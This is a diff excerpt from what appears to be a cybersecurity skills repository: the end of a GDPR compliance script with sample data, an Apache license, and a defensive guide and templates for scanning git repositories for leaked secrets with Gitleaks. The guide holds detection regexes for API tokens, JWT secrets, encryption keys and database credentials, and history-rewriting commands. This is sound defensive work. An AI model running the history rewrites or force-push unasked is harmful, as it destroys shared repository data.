|
||||
manager.create_ropa(sample_activities)
|
||||
|
||||
# DSRs
|
||||
sample_dsrs = [
|
||||
{
|
||||
"dsr_id": "DSR-001",
|
||||
"request_type": DSRType.ACCESS.value,
|
||||
"data_subject_name": "John Smith",
|
||||
"data_subject_email": "john.smith@email.com",
|
||||
"received_date": "2024-12-01",
|
||||
"identity_verified": True,
|
||||
"identity_verified_date": "2024-12-02",
|
||||
"status": "In Progress",
|
||||
"systems_searched": ["CRM", "Email", "Analytics"],
|
||||
},
|
||||
{
|
||||
"dsr_id": "DSR-002",
|
||||
"request_type": DSRType.ERASURE.value,
|
||||
"data_subject_name": "Jane Doe",
|
||||
"data_subject_email": "jane.doe@email.com",
|
||||
"received_date": "2024-12-15",
|
||||
"identity_verified": True,
|
||||
"identity_verified_date": "2024-12-16",
|
||||
"status": "Completed",
|
||||
"response_date": "2024-12-28",
|
||||
},
|
||||
]
|
||||
manager.process_dsr(sample_dsrs)
|
||||
|
||||
# Breaches
|
||||
sample_breaches = [
|
||||
{
|
||||
"breach_id": "BREACH-001",
|
||||
"detected_date": "2024-11-15",
|
||||
"detected_time": "14:30",
|
||||
"description": "Unauthorized access to customer database via compromised admin credentials",
|
||||
"data_categories": ["Name", "Email", "Phone"],
|
||||
"subjects_affected": 2500,
|
||||
"severity": BreachSeverity.HIGH_RISK.value,
|
||||
"authority_notified": True,
|
||||
"authority_notification_date": "2024-11-16",
|
||||
"subjects_notified": True,
|
||||
"subjects_notification_date": "2024-11-18",
|
||||
"root_cause": "Credential compromise via phishing",
|
||||
"remediation": "MFA enforced, passwords reset, phishing training deployed",
|
||||
"status": "Closed",
|
||||
},
|
||||
]
|
||||
manager.manage_breach(sample_breaches)
|
||||
|
||||
# DPIAs
|
||||
sample_dpias = [
|
||||
{
|
||||
"dpia_id": "DPIA-001",
|
||||
"processing_activity": "Employee HR Processing",
|
||||
"description": "Processing of employee health data for occupational health and benefits administration",
|
||||
"necessity_assessment": "Processing is necessary for employment contract and legal obligations",
|
||||
"risks_identified": [
|
||||
"Unauthorized access to health data",
|
||||
"Data breach exposing sensitive employee information",
|
||||
"Excessive data collection beyond what is necessary",
|
||||
],
|
||||
"mitigation_measures": [
|
||||
"Encryption of all health data at rest and in transit",
|
||||
"Strict RBAC limiting access to HR and OH staff only",
|
||||
"Audit logging of all access to health records",
|
||||
"Annual access reviews",
|
||||
"Staff training on handling special category data",
|
||||
],
|
||||
"residual_risk": "Low",
|
||||
"dpo_consultation": True,
|
||||
"approved": True,
|
||||
"approval_date": "2024-06-15",
|
||||
"reviewer": "DPO",
|
||||
},
|
||||
]
|
||||
manager.conduct_dpia(sample_dpias)
|
||||
|
||||
# Overall compliance assessment
|
||||
manager.assess_compliance()
|
||||
|
||||
print("\n" + "=" * 70)
|
||||
print("GDPR COMPLIANCE ASSESSMENT COMPLETE")
|
||||
print("=" * 70)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,345 @@
|
||||
---
|
||||
name: implementing-secret-scanning-with-gitleaks
|
||||
description: 'This skill covers implementing Gitleaks for detecting and preventing
|
||||
hardcoded secrets in git repositories. It addresses configuring pre-commit hooks,
|
||||
CI/CD pipeline integration, custom rule authoring for organization-specific secrets,
|
||||
baseline management for existing repositories, and remediation workflows for exposed
|
||||
credentials.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: devsecops
|
||||
tags:
|
||||
- devsecops
|
||||
- cicd
|
||||
- secret-scanning
|
||||
- gitleaks
|
||||
- pre-commit
|
||||
- secure-sdlc
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.PS-01
|
||||
- GV.SC-07
|
||||
- ID.IM-04
|
||||
- PR.PS-04
|
||||
mitre_attack:
|
||||
- T1195
|
||||
- T1554
|
||||
- T1059.004
|
||||
- T1003
|
||||
- T1110
|
||||
---
|
||||
|
||||
# Implementing Secret Scanning with Gitleaks
|
||||
|
||||
## When to Use
|
||||
|
||||
- When developers may accidentally commit API keys, passwords, tokens, or private keys to repositories
|
||||
- When establishing pre-commit gates that prevent secrets from entering the git history
|
||||
- When scanning existing repository history for previously committed secrets that need rotation
|
||||
- When compliance requirements mandate secret detection across all source code repositories
|
||||
- When migrating from manual secret audits to automated continuous scanning
|
||||
|
||||
**Do not use** for detecting secrets in running applications or memory (use runtime secret detection), for managing secrets after detection (use Vault or AWS Secrets Manager), or for scanning container images (use Trivy or Grype).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Gitleaks v8.18+ installed via binary, Go install, or Docker
|
||||
- Pre-commit framework installed for local hook integration
|
||||
- Git repository with history to scan
|
||||
- CI/CD platform access (GitHub Actions, GitLab CI, or equivalent)
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Install and Run Initial Repository Scan
|
||||
|
||||
Perform a baseline scan of the repository to identify all existing secrets in the git history.
|
||||
|
||||
```bash
|
||||
# Install Gitleaks
|
||||
brew install gitleaks # macOS
|
||||
# or download binary from https://github.com/gitleaks/gitleaks/releases
|
||||
|
||||
# Scan entire git history for secrets
|
||||
gitleaks detect --source . --report-format json --report-path gitleaks-report.json -v
|
||||
|
||||
# Scan only staged changes (for pre-commit)
|
||||
gitleaks protect --staged --report-format json --report-path gitleaks-staged.json
|
||||
|
||||
# Scan specific commit range
|
||||
gitleaks detect --source . --log-opts="HEAD~10..HEAD" --report-format json
|
||||
|
||||
# Scan without git history (filesystem only)
|
||||
gitleaks detect --source . --no-git --report-format json
|
||||
```
|
||||
|
||||
### Step 2: Configure Pre-Commit Hook
|
||||
|
||||
Set up Gitleaks as a pre-commit hook to prevent secrets from being committed.
|
||||
|
||||
```yaml
|
||||
# .pre-commit-config.yaml
|
||||
repos:
|
||||
- repo: https://github.com/gitleaks/gitleaks
|
||||
rev: v8.21.2
|
||||
hooks:
|
||||
- id: gitleaks
|
||||
name: gitleaks
|
||||
description: Detect hardcoded secrets using Gitleaks
|
||||
entry: gitleaks protect --staged --verbose --redact
|
||||
language: golang
|
||||
pass_filenames: false
|
||||
```
|
||||
|
||||
```bash
|
||||
# Install pre-commit framework
|
||||
pip install pre-commit
|
||||
|
||||
# Install hooks defined in .pre-commit-config.yaml
|
||||
pre-commit install
|
||||
|
||||
# Run against all files (not just staged)
|
||||
pre-commit run gitleaks --all-files
|
||||
|
||||
# Test the hook with a deliberate secret
|
||||
echo 'AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"' >> test.txt
|
||||
git add test.txt
|
||||
git commit -m "test" # Should be blocked by gitleaks
|
||||
```
|
||||
|
||||
### Step 3: Integrate into GitHub Actions
|
||||
|
||||
```yaml
|
||||
# .github/workflows/secret-scanning.yml
|
||||
name: Secret Scanning
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main, develop]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
|
||||
jobs:
|
||||
gitleaks:
|
||||
name: Gitleaks Secret Scan
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 # Full history for comprehensive scanning
|
||||
|
||||
- name: Run Gitleaks
|
||||
uses: gitleaks/gitleaks-action@v2
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_LICENSE }} # Required for gitleaks-action v2
|
||||
|
||||
# Alternative: Run Gitleaks directly
|
||||
- name: Install Gitleaks
|
||||
run: |
|
||||
wget -q https://github.com/gitleaks/gitleaks/releases/download/v8.21.2/gitleaks_8.21.2_linux_x64.tar.gz
|
||||
tar -xzf gitleaks_8.21.2_linux_x64.tar.gz
|
||||
chmod +x gitleaks
|
||||
|
||||
- name: Scan for secrets
|
||||
run: |
|
||||
if [ "${{ github.event_name }}" == "pull_request" ]; then
|
||||
./gitleaks detect \
|
||||
--source . \
|
||||
--log-opts="${{ github.event.pull_request.base.sha }}..${{ github.event.pull_request.head.sha }}" \
|
||||
--report-format sarif \
|
||||
--report-path gitleaks.sarif \
|
||||
--exit-code 1
|
||||
else
|
||||
./gitleaks detect \
|
||||
--source . \
|
||||
--report-format sarif \
|
||||
--report-path gitleaks.sarif \
|
||||
--exit-code 1 \
|
||||
--baseline-path .gitleaks-baseline.json
|
||||
fi
|
||||
|
||||
- name: Upload SARIF
|
||||
if: always()
|
||||
uses: github/codeql-action/upload-sarif@v3
|
||||
with:
|
||||
sarif_file: gitleaks.sarif
|
||||
category: gitleaks
|
||||
```
|
||||
|
||||
### Step 4: Author Custom Detection Rules
|
||||
|
||||
Create organization-specific rules for internal secret patterns.
|
||||
|
||||
```toml
|
||||
# .gitleaks.toml
|
||||
title = "Organization Gitleaks Configuration"
|
||||
|
||||
[extend]
|
||||
useDefault = true # Include all default rules
|
||||
|
||||
# Custom rule for internal API tokens
|
||||
[[rules]]
|
||||
id = "internal-api-token"
|
||||
description = "Internal API token for service-to-service auth"
|
||||
regex = '''(?i)x-internal-token["\s:=]+["\']?([a-zA-Z0-9_\-]{40,})["\']?'''
|
||||
entropy = 3.5
|
||||
keywords = ["x-internal-token"]
|
||||
tags = ["internal", "api"]
|
||||
|
||||
[[rules]]
|
||||
id = "database-connection-string"
|
||||
description = "Database connection string with embedded credentials"
|
||||
regex = '''(?i)(postgres|mysql|mongodb|redis)://[^:]+:[^@]+@[^/]+/\w+'''
|
||||
keywords = ["postgres://", "mysql://", "mongodb://", "redis://"]
|
||||
tags = ["database", "credentials"]
|
||||
|
||||
[[rules]]
|
||||
id = "jwt-secret"
|
||||
description = "JWT signing secret"
|
||||
regex = '''(?i)(jwt[_-]?secret|jwt[_-]?key)["\s:=]+["\']?([a-zA-Z0-9/+_\-]{32,})["\']?'''
|
||||
entropy = 3.0
|
||||
keywords = ["jwt_secret", "jwt-secret", "jwt_key", "jwt-key"]
|
||||
|
||||
# Allowlist for test files and known safe patterns
|
||||
[allowlist]
|
||||
description = "Global allowlist"
|
||||
paths = [
|
||||
'''(^|/)test(s)?/''',
|
||||
'''(^|/)spec/''',
|
||||
'''\.test\.(js|ts|py)$''',
|
||||
'''\.spec\.(js|ts|py)$''',
|
||||
'''__mocks__/''',
|
||||
'''fixtures/''',
|
||||
'''(^|/)vendor/''',
|
||||
'''node_modules/'''
|
||||
]
|
||||
regexes = [
|
||||
'''EXAMPLE''',
|
||||
'''example\.com''',
|
||||
'''test[-_]?(key|secret|token|password)''',
|
||||
'''(?i)placeholder''',
|
||||
'''000000+'''
|
||||
]
|
||||
```
|
||||
|
||||
### Step 5: Manage Baselines for Existing Repositories
|
||||
|
||||
Create a baseline of known findings to avoid blocking development while historical secrets are being rotated.
|
||||
|
||||
```bash
|
||||
# Generate baseline from current state
|
||||
gitleaks detect --source . --report-format json --report-path .gitleaks-baseline.json
|
||||
|
||||
# Subsequent scans compare against baseline (only new findings trigger failures)
|
||||
gitleaks detect --source . --baseline-path .gitleaks-baseline.json --exit-code 1
|
||||
|
||||
# Review baseline periodically and remove entries as secrets are rotated
|
||||
cat .gitleaks-baseline.json | python3 -m json.tool | head -50
|
||||
```
|
||||
|
||||
### Step 6: Remediate Exposed Secrets
|
||||
|
||||
When a secret is detected, follow the rotation and history cleanup procedure.
|
||||
|
||||
```bash
|
||||
# 1. Immediately rotate the exposed credential
|
||||
# - Revoke the old API key/token in the service provider
|
||||
# - Generate a new credential
|
||||
# - Store the new credential in a secrets manager
|
||||
|
||||
# 2. Remove secret from git history using git-filter-repo
|
||||
pip install git-filter-repo
|
||||
|
||||
# Create expressions file for secrets to remove
|
||||
cat > /tmp/expressions.txt << 'EOF'
|
||||
regex:AKIA[0-9A-Z]{16}==>REDACTED_AWS_KEY
|
||||
regex:(?i)password\s*=\s*"[^"]*"==>password="REDACTED"
|
||||
EOF
|
||||
|
||||
git filter-repo --replace-text /tmp/expressions.txt --force
|
||||
|
||||
# 3. Force-push the cleaned history (coordinate with team)
|
||||
# git push --force --all # WARNING: Requires team coordination
|
||||
|
||||
# 4. Add the secret pattern to .gitleaks.toml rules
|
||||
# 5. Update the baseline file to remove the resolved finding
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| Secret | Any credential, token, key, or sensitive string that should not appear in source code |
|
||||
| Pre-commit Hook | Git hook that runs before a commit is created, blocking commits containing detected secrets |
|
||||
| Entropy | Measure of randomness in a string; high-entropy strings are more likely to be secrets |
|
||||
| Baseline | Snapshot of existing findings used to differentiate new secrets from pre-existing ones |
|
||||
| Allowlist | Configuration specifying paths, patterns, or commits to exclude from detection |
|
||||
| SARIF | Static Analysis Results Interchange Format for uploading findings to security dashboards |
|
||||
| git-filter-repo | Tool for rewriting git history to remove sensitive data from all commits |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Gitleaks**: Open-source secret detection tool supporting pre-commit hooks, CI/CD, and historical scanning
|
||||
- **pre-commit**: Framework for managing and maintaining multi-language pre-commit hooks
|
||||
- **git-filter-repo**: History rewriting tool for removing secrets from git history
|
||||
- **TruffleHog**: Alternative secret scanner with verified secret detection capabilities
|
||||
- **GitHub Secret Scanning**: Native GitHub feature that detects secrets matching partner patterns
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Onboarding Secret Scanning on a Legacy Repository
|
||||
|
||||
**Context**: A 5-year-old repository has never been scanned. The team needs to enable secret scanning without blocking all development while historical secrets are rotated.
|
||||
|
||||
**Approach**:
|
||||
1. Run `gitleaks detect` against full history and generate a baseline JSON file
|
||||
2. Triage each finding: classify as active (needs rotation), inactive (already rotated), or false positive
|
||||
3. Immediately rotate all active secrets and update consuming services
|
||||
4. Commit the baseline file (excluding active secrets that have been fixed)
|
||||
5. Enable pre-commit hooks for new development immediately
|
||||
6. Add CI/CD scanning with the baseline to catch only new secrets
|
||||
7. Progressively reduce the baseline as historical secrets are rotated
|
||||
|
||||
**Pitfalls**: Generating a baseline without triaging means accepting risk on unrotated secrets. Never assume a historical secret is inactive without verifying with the service provider. Running git-filter-repo on a shared repository without coordination will cause rebase conflicts for all team members.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
Gitleaks Secret Scanning Report
|
||||
=================================
|
||||
Repository: org/web-application
|
||||
Scan Type: Full History
|
||||
Commits Scanned: 4,523
|
||||
Date: 2026-02-23
|
||||
|
||||
FINDINGS:
|
||||
Total: 12
|
||||
New (not in baseline): 3
|
||||
Baseline (pre-existing): 9
|
||||
|
||||
NEW FINDINGS (blocking):
|
||||
[1] AWS Access Key ID
|
||||
Rule: aws-access-key-id
|
||||
File: src/config/aws.py:23
|
||||
Commit: a1b2c3d (2026-02-22, dev@company.com)
|
||||
Secret: AKIA...REDACTED
|
||||
Entropy: 3.8
|
||||
|
||||
[2] GitHub Personal Access Token
|
||||
Rule: github-pat
|
||||
File: scripts/deploy.sh:15
|
||||
Commit: d4e5f6g (2026-02-21, ops@company.com)
|
||||
Secret: ghp_...REDACTED
|
||||
Entropy: 4.2
|
||||
|
||||
[3] Internal API Token
|
||||
Rule: internal-api-token
|
||||
File: src/services/auth.py:89
|
||||
Commit: h7i8j9k (2026-02-20, dev@company.com)
|
||||
|
||||
QUALITY GATE: FAILED (3 new findings)
|
||||
Action: Rotate exposed credentials immediately.
|
||||
```
|
||||
@@ -0,0 +1,175 @@
|
||||
# Gitleaks Secret Scanning Templates
|
||||
|
||||
## Pre-Commit Configuration
|
||||
|
||||
```yaml
|
||||
# .pre-commit-config.yaml
|
||||
repos:
|
||||
- repo: https://github.com/gitleaks/gitleaks
|
||||
rev: v8.21.2
|
||||
hooks:
|
||||
- id: gitleaks
|
||||
name: Detect secrets with Gitleaks
|
||||
entry: gitleaks protect --staged --verbose --redact
|
||||
language: golang
|
||||
pass_filenames: false
|
||||
```
|
||||
|
||||
## Organization Gitleaks Configuration
|
||||
|
||||
```toml
|
||||
# .gitleaks.toml
|
||||
title = "Organization Secret Scanning Rules"
|
||||
|
||||
[extend]
|
||||
useDefault = true
|
||||
|
||||
# ─── Custom Rules ───
|
||||
|
||||
[[rules]]
|
||||
id = "internal-service-token"
|
||||
description = "Internal service-to-service authentication token"
|
||||
regex = '''(?i)(service[_-]?token|internal[_-]?key)["\s:=]+["']?([A-Za-z0-9_\-]{36,})["']?'''
|
||||
entropy = 3.5
|
||||
keywords = ["service_token", "service-token", "internal_key", "internal-key"]
|
||||
|
||||
[[rules]]
|
||||
id = "database-url-with-password"
|
||||
description = "Database connection URL with embedded password"
|
||||
regex = '''(?i)(DATABASE_URL|DB_URL|SQLALCHEMY_DATABASE_URI)\s*=\s*["']?(postgres|mysql|mongodb)\+?[a-z]*://[^:]+:[^@]+@'''
|
||||
keywords = ["DATABASE_URL", "DB_URL", "SQLALCHEMY_DATABASE_URI"]
|
||||
|
||||
[[rules]]
|
||||
id = "encryption-key-hex"
|
||||
description = "Encryption key in hexadecimal format"
|
||||
regex = '''(?i)(encryption[_-]?key|aes[_-]?key|secret[_-]?key)\s*=\s*["']?([0-9a-fA-F]{32,64})["']?'''
|
||||
entropy = 3.0
|
||||
keywords = ["encryption_key", "aes_key", "secret_key"]
|
||||
|
||||
# ─── Allowlist ───
|
||||
|
||||
[allowlist]
|
||||
description = "Global allowlist for false positive reduction"
|
||||
paths = [
|
||||
'''(^|/)test(s)?/''',
|
||||
'''(^|/)spec(s)?/''',
|
||||
'''\.test\.(js|ts|py|go|rb)$''',
|
||||
'''\.spec\.(js|ts|py|go|rb)$''',
|
||||
'''(^|/)__tests__/''',
|
||||
'''(^|/)__mocks__/''',
|
||||
'''(^|/)fixtures/''',
|
||||
'''(^|/)testdata/''',
|
||||
'''(^|/)vendor/''',
|
||||
'''(^|/)node_modules/''',
|
||||
'''\.md$''',
|
||||
'''CHANGELOG'''
|
||||
]
|
||||
regexes = [
|
||||
'''(?i)EXAMPLE''',
|
||||
'''(?i)PLACEHOLDER''',
|
||||
'''(?i)CHANGEME''',
|
||||
'''(?i)your[-_]?(api[-_]?key|secret|token|password)''',
|
||||
'''(?i)test[-_]?(key|secret|token|password|credential)''',
|
||||
'''example\.com''',
|
||||
'''localhost''',
|
||||
'''0{8,}''',
|
||||
'''x{8,}'''
|
||||
]
|
||||
|
||||
# Per-rule allowlists
|
||||
[[rules.allowlist]]
|
||||
description = "Allow AWS example keys"
|
||||
regexes = ["AKIAIOSFODNN7EXAMPLE"]
|
||||
```
|
||||
|
||||
## GitHub Actions Workflow
|
||||
|
||||
```yaml
|
||||
# .github/workflows/secret-scanning.yml
|
||||
name: Secret Scanning
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main, develop]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
schedule:
|
||||
- cron: '0 6 * * *'
|
||||
|
||||
jobs:
|
||||
gitleaks:
|
||||
name: Gitleaks
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Install Gitleaks
|
||||
run: |
|
||||
GITLEAKS_VERSION="8.21.2"
|
||||
wget -qO- "https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION}_linux_x64.tar.gz" | tar xz
|
||||
sudo mv gitleaks /usr/local/bin/
|
||||
|
||||
- name: Run scan
|
||||
run: |
|
||||
if [ "${{ github.event_name }}" == "pull_request" ]; then
|
||||
gitleaks detect \
|
||||
--source . \
|
||||
--log-opts="${{ github.event.pull_request.base.sha }}..${{ github.sha }}" \
|
||||
--report-format sarif \
|
||||
--report-path gitleaks.sarif \
|
||||
--exit-code 1 \
|
||||
--verbose
|
||||
else
|
||||
gitleaks detect \
|
||||
--source . \
|
||||
--baseline-path .gitleaks-baseline.json \
|
||||
--report-format sarif \
|
||||
--report-path gitleaks.sarif \
|
||||
--exit-code 1 \
|
||||
--verbose
|
||||
fi
|
||||
|
||||
- name: Upload SARIF
|
||||
if: always()
|
||||
uses: github/codeql-action/upload-sarif@v3
|
||||
with:
|
||||
sarif_file: gitleaks.sarif
|
||||
category: gitleaks
|
||||
```
|
||||
|
||||
## Incident Response Template for Exposed Secrets
|
||||
|
||||
```markdown
|
||||
## Secret Exposure Incident Report
|
||||
|
||||
**Date Detected**: YYYY-MM-DD
|
||||
**Detected By**: Gitleaks CI scan / Pre-commit hook / Manual review
|
||||
**Repository**: org/repo-name
|
||||
**Severity**: Critical / High
|
||||
|
||||
### Exposed Credential Details
|
||||
- **Type**: [AWS Access Key | GitHub PAT | Database Password | etc.]
|
||||
- **Rule ID**: [gitleaks rule that detected it]
|
||||
- **File**: [path/to/file:line]
|
||||
- **Commit**: [short SHA]
|
||||
- **Author**: [email]
|
||||
- **Date Committed**: [date]
|
||||
- **Exposure Duration**: [time from commit to detection]
|
||||
|
||||
### Remediation Actions
|
||||
- [ ] Credential revoked at service provider
|
||||
- [ ] New credential generated and stored in secrets manager
|
||||
- [ ] Consuming services updated to use new credential
|
||||
- [ ] Service functionality verified
|
||||
